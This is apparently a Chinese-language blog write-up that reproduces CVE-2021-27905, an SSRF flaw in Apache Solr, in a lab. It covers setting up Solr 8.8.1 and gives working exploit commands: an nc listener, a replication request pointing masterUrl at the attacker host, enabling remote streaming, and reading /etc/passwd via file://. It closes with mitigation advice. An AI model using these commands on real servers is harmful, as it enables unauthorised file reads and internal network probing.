CVE_2021_27905_Apache_Solr

简介

Apache Solr是美国阿帕奇(Apache)基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器,使用Java语言开发,主要基于http和Apache Lucene实现的,该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。

漏洞概述

Apache Solr 8.8.2之前版本存在安全漏洞,Apache Solr 中的 ReplicationHandler(通常注册在 Solr core下的“/replication”)有一个“masterUrl”(也是“leaderUrl”别名)参数,用于指定另一个 Solr core上的另一个 ReplicationHandler 将索引数据复制到本地core。为了防止 SSRF 漏洞,Solr 应该根据它用于“shards”参数的类似配置检查这些参数。攻击者可利用该漏洞,传递特定参数,构造并执行服务端请求伪造,造成攻击者任意读取服务器上的文件,利用该漏洞可造成内网信息探测。

影响版本

ApacheSolr<8.8.2

环境准备

源码下载

http://archive.apache.org/dist/lucene/solr/8.8.1/

image-20231128004036346

解压

1
sudo tar -xvf solr-8.8.1.tgz 

image-20231128004638198

运行

1
2
3
cd solr-8.8.1/bin/
ls
./solr start-p9977

image-20231128004936110

发现报错了,缺少了java环境

安装java环境

安装jdk8

搜索jdk8版本

1
apt search java | grep jdk

安装

1
2
sudo apt install openjdk-8-jre-headless 
sudo apt install openjdk-8-jdk-headless

运行solr

1
2
cd ~/solr-8.8.1/bin
./solr start -p 9977

这个地方会有问题

image-20231128095259509

没有权限,添加一个权限

1
sudo chown -R ubuntu:ubuntu ~/solr-8.8.1/

运行solr

image-20231128095358676

服务就启动了

image-20231128125725755

创建一个core

image-20231128130221973

出现报错

image-20231128130256111

将server/solr/configsets/default/conf复制到new_core

1
2
cd ~/solr-8.8.1/server/solr
cp -r configsets/_default/conf new_core

然后再次创建就能成功创建了

image-20231128131137838

漏洞复现

当前使用kali linux操作,使用ssh远程连接

攻击机kali监听

1
nc -lvvp 19977

然后

使用payload

1
curl http://192.168.157.45:9977/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.157.114:19977

但是这里又有一个问题

使用curl访问的时候会出现问题

image-20231128142414487

但是直接使用浏览器访问就会成功

image-20231128142519662

这个是因为传入参数的时候使用了&符号,但是在linux命令行的&是连接两个命令的符号,所以会出现报错,解决办法是,使用\转义一下,就可以

1
curl http://192.168.157.45:9977/solr/new_core/replication?command=fetchindex\&masterUrl=http://192.168.157.114:19977 

image-20231128142936024

这个就是说明这个存在SSRF漏洞

为什么能判断存在漏洞存在SSRF漏洞?

因为masterUrl=http://192.168.157.114:19977 是我们的地址,并且不是一个有效的数据源

尝试漏洞利用

先开启远程文件读取

1
curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.157.45:9977/solr/new_core/config

image-20231128152624108

使用file://协议访问服务器的文件

1
curl -i -s -k 'http://192.168.157.45:9977/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'     

image-20231128152948186

防护建议

  1. 升级 Solr 版本大于等于8.8.2

    https://solr.apache.org/downloads.html

  2. 禁用流传输功能

  3. 限制访问,限制特殊的IP访问Solr的API,也就是说防止未授权访问

  4. 定期检查配置,防止客户端修服务器的配置


CVE_2021_27905_Apache_Solr
https://tsy244.github.io/2023/11/28/漏洞复现/CVE-2021-27905-Apache-Solr/
Author
August Rosenberg
Posted on
November 28, 2023
Licensed under